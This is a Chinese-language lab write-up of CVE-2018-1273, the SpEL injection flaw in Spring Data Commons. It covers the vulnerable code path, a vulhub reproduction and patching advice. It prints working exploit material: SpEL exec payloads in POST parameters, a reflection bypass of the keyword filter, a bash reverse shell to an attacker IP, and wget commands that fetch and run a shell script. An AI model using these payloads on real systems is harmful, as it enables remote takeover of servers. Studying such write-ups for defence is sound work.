CVE与重要漏洞复现之SpringDataCommonsRCE(CVE-2018-1273)漏洞

SpringDataCommonsRCE(CVE-2018-1273)漏洞

注意:本人所发布的所有技术文章仅限技术学习交流,不得用于任何非法目的,否则后果自负

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、漏洞简介

Spring Data Commons 指定版本包含由于特殊元素的不正确中和而导致的属性绑定器漏洞。未经身份验证的远程恶意用户(或攻击者)可以针对 Spring Data REST 支持的HTTP资源提供特制的请求参数或使用Spring Data的基于投影的请求进行有效负载绑定,这可能会导致远程执行代码攻击。

其实简单来讲就是 Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式进行远程代码执行。

受影响版本:

  • Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
  • Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 - 3.0.5 (Kay SR5)

二、基础知识

2.1 Spring Data Commons

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。而此漏洞产生于 Spring Data Commons 组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。

2.2 SpEL表达式

Spring表达式语言全称 Spring Expression Language,支持查询和操作运行时对象导航图功能.。语法类似于传统EL,而且供额外的功能,能够进行函数调用和简单字符串的模板函数。

表达式语法:

/*直接量表达式*/
#{5}
#{'abc'}
#{'true'}

/*引用Bean并使用其属性与方法*/ 
#{a}                          //a为bean的id
#{a.b}                        //使用bean的属性
#{a.c()}                    //使用bean的方法

/*引用类的常量与方法*/
//在SpEL中访问类作用域的方法和常量的话,可以使用T()
T(java.lang.Math).PI        //调用Math类的PI常量
T(java.lang.Math).random()    //调用Math类的random()方法
    
/*利用SpEL表达式进行命令执行(弹出计算器)*/
T(java.lang.Runtime).getRuntime().exec("calc") 
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")

三、漏洞分析

3.1 环境搭建

此处使用官方的示例代码(https://github.com/spring-projects/spring-data-examples/),由于我们只需简单分析 Spring Data Commons 组件中漏洞点,所以无需部署整个示例项目。我们导入示例项目中的 web 模块下的 example 即可,我们下载好示例项目后,解压,然后只导入 web 下的 example 。

image-20221027152037501

接着需要修改web/example中的pom.xml,将这个模块变为一个独立的项目。首先修改 parent 节点,指定使用版本为 2.0.0.RELEASE 的 Spring Boot ,该版本对应使用的就是含有此漏洞的 Spring Data Commons 2.0.5。

<parent>        
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>        
    <version>2.0.0.RELEASE</version>        
    <relativePath></relativePath>
</parent>

添加如下两个依赖,前者让该模块成为一个独立的Spring Boot项目,因为程序中使用了lombok,所以需要引入后者。

<dependency>        
    <groupId>org.springframework.boot</groupId>        
    <artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>        
    <groupId>org.projectlombok</groupId>        
    <artifactId>lombok</artifactId>        
    <scope>provided</scope>
</dependency>

为了方便,可以将 src 下的 test 目录删除,因为测试代码需要引入junit包。

启动项目,访问 http://localhost:8080/users ,出现以下页面说明项目搭建成功。

image-20221028100328193

3.2 漏洞分析

上述示例项目,主要是一个简单的注册页面,在这个项目中利用了 Spring Data 的相关 Web 特性,对输入参数(用户提交的form表单和key值)进行自动匹配,并进行相应处理。

示例项目部署完成后,访问http://localhost:8080/users,注册一个用户,并使用 Brup Suite 抓包,修改POST 正文参数,如下:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=test&password=123456&repeatedPassword=123456

请求完成后,即可发现计算器弹出,说明存在Spring Data Commons 远程命令执行漏洞。

image-20221028101422516

由于 Spring MVC 框架会处理来自前端的页面的请求,并根据请求进行数据的封装,这不是此次漏洞的重点,于是我们将断点设置在 org.springframework.data.web.MapDataBinder.MapPropertyAccessor 中的 setPropertyValue() 方法处,而后使用调试模式重新启动项目。当我们发送对应POST 请求之后,经过前面对应的数据处理,会到 setPropertyValue() 方法处,该方法会处理所有GET/POST请求的参数名与参数值。

在该方法中首先会调用 isWritableProperty() 方法,校验propertyName参数是否为 Controller 类中设置的Form 映射对象中的成员变量。

image-20221028132418664

isWritableProperty() 方法中会调用 getPropertyPath() 方法,判断propertyName参数是否为 UserForm 中的属性值。这里就是判断 getPropertyPath() 方法的返回结果值是否为空,若不为空则返回 true,否则flase。

image-20221028134736133

这个方法在进行判断时,会去除后” [ ] “以及其包裹的内容,而后与 UserForm 中的属性值做对比,因此我们使用的 payload 可以校验成功返回非空的结果。

image-20221028133411047

当校验成功后,会进入 else 分支,实例化 StandardEvaluationContext 类,该类可以用于处理 SpEL 表达式,而后通过 PARSER.parseExpression() 来设置需要解析的表达式,这里并没有做任何过滤,而是直接设置解析的表达式。

image-20221028134537861

最后通过调用expression.setValue()对SpEL表达式进行解析,从而触发漏洞。

image-20221028140030384

注意这里我们使用的 paylaod 是通过反射的方式去利用,若直接使用以下paylaod,是无法利用成功的。

T(java.lang.Runtime).getRuntime().exec('calc.exe')

因为某些版本会识别 SpEL 表达式的关键词,并拒绝。所以要使用下面这种反射的方式进行利用:

#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")

总的来说该漏洞就是是攻击者利用了 Sprng Data Commons 组件的相关特性对输入参数进行自动匹配时,会将用户提交的form表单和key值作为 SpEL 表达式的内容,而后执行,导致SpEL表达式注入漏洞。

四、漏洞复现

4.1 实验环境

攻击机:kali(ip:192.168.219.156)

被攻击主机:docker环境部署(ip:192.168.219.206)

漏洞环境:vulhub/spring-data-commons:2.0.5

搭建过程:

1.下载vulhub靶场文件(https://github.com/vulhub/vulhub)

2.解压后切换到指定目录,并使用docker-compose命令拉取docker环境并创建容器。

cd vulhub-master/spring/CVE-2018-1273/

docker-compose up -d

3.防火墙开放TCP的8080端口,而后访问8080端口,查看是否部署成功。

4.2 复现过程

在kali上的/tmp下编写一个shell脚本(shell.sh),用bash进行反弹shell,内容如下:

bash -i >& /dev/tcp/192.168.219.156/4444 0>&1

而后在kali的/tmp下,使用 “python -m SimpleHTTPServer”,开启一个HTTP服务,访问 http://192.168.219.156:8000/ 查看有无对应文件,以便后续让服务器获取shell.sh。

image-20220526145452438

kali上开启nc监控4444端口。

image-20221028150618818

访问http://192.168.219.206:8080/users,注册一个用户,并使用 Brup Suite 抓包,放于repeater模块汇总,修改POST 正文参数后发送,如下:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget+http://192.168.219.156:8000/shell.sh")]=test&password=123456&repeatedPassword=123456

发送完成后,再修改POST正文,让其执行shell.sh,如下:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash+shell.sh")]=test&password=123456&repeatedPassword=123456

而后查看kali,反弹shell成功。

image-20221028150955673

五、修复建议

  1. 更新Spring Data Commons版本为已修复漏洞版本。

六、参考文章

  1. 【漏洞分析】CVE-2018-1273: RCE WITH SPRING DATA COMMONS 分析报告(http://blog.nsfocus.net/cve-2018-1273-analysis/)。
  2. Spring RCE漏洞分析2(CVE-2018-1273)(https://blog.youkuaiyun.com/qsort_/article/details/105938025)。
  3. 代码审计-Spring Data Commons RCE分析(https://blog.youkuaiyun.com/cdyunaq/article/details/124274289)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值